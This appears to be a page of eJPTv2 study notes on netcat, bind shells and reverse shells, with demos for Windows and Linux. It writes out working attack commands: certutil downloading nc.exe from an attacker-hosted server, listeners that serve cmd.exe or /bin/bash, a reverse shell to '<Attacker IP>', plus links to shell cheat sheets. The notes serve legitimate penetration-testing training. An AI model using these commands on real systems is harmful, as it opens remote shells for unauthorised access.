> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/exploitation/exploits/shells.md).

# Shells

## Bind & Reverse Shells

### Netcat Fundamentals

* Netcat (Aka TCP/IP Swiss Army Knife) is a networking utility used to read and write data to network connections using TCP or UDP.
* Netcat is available for both \*NIX and Windows operating systems, consequently making it extremely useful for cross-platform engagements.
* Netcat utilizes a client-server communication architecture with two modes:
  * Client mode - Netcat can be used in client mode to connect to any TCP/UDP port as well as Netcat listener (server).
  * Server mode - Netcat can be used to listen for connections from clients on a specific port.
* Netcat can be used by penetration testers to perform the following functionality:
  * Banner Grabbing
  * Port Scanning
  * Transferring Files
  * Bind/Reverse Shells

DEMO&#x20;

```
nc --help
```

```
man nc 
```

* Verbose - provides the extra information

```
nc -v 
```

* to connect to UDP port

```
nc -nvu <IP> <Port> 
```

* listener

```
nc -l
```

* Do not resolve hostname via DNS

```
nc -nv <IP> <Port>
```

* execution command

```
nc -e 
```

* Netcat binaries - /usr/share/windows-binaries/
* transferring files

```
python3 -m http.server 80
```

* downloading file

```
certutil -urlcache -f http://<IP>/mc.exe nc.exe
```

* start listener

```
nc -nvlp <port>
```

* connect nc

```
nc.exe -nv <IP> <port>
```

* listen UDP port

```
nc -nlvpu <IP> <Port>
```

* connect UDP port

```
nc -nvu <IP> <Port>
```

* using nc for transferring the file

```
nc.exe -nvlp <port> > test.txt
```

* connect nc for transferring the file

```
nc -nv <IP> <Port> < test.txt
```

***

### Bind Shells

* A bind shell is a type of remote shell where the attacker connects directly to a listener on the target system, consequently allowing for execution of commands on the target system.
* A Netcat listener can be setup to execute a specific executable like cmd.exe or /bin/bash when a client connects to the listener.

<figure><img src="/files/YeOtdPfafliDojMdYAQj" alt=""><figcaption></figcaption></figure>

**The outgoing traffic from a system is rarely blocked or be by a Windows by a firewall or by any security mechanism Whereas inbound traffic is usually very suspect**

DEMO

```
cd /usr/share/windows-binaries 
python3 -m http.server 80
```

```
cmd> certutil -urlcache -f http://<iP>/nc.exe nc.exe
```

Target System (Windows)

```
cmd> nc.exe -nvlp <port> -e cmd.exe
```

Attacker System (Linux)

```
nc -nv <targetIP> <port>

whoami
```

Target System (Linux)

```
nc -nvlp <port> -c /bin/bash
```

Attacker System (Windows)

```
cmd> nc.exe -nv <TargetIP> <port>

#whoami
```

***

### Reverse Shell

* A reverse shell is a type of remote shell where the target connects directly to a listener on the attack's system, consequently allowing for execution of commans on the target system.

<figure><img src="/files/fK9Vx0nj2nwlhlVAWFAX" alt=""><figcaption></figcaption></figure>

DEMO

Attacker System (Linux)

```
nc -nvlp <port>
```

Target System (Windows)

```
cmd> nc.exe -nv <Attacker IP> <Port>
```

Target System (Linux)

```
nc -nvp <IP> <port> -e /bin/bash
```

Attacker System (Windows)

```
nc -nlpv <port>
```

***

### Reverse Shell Cheatsheet

DEMO

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>" %}

{% embed url="<https://www.revshells.com/>" %}

&#x20;
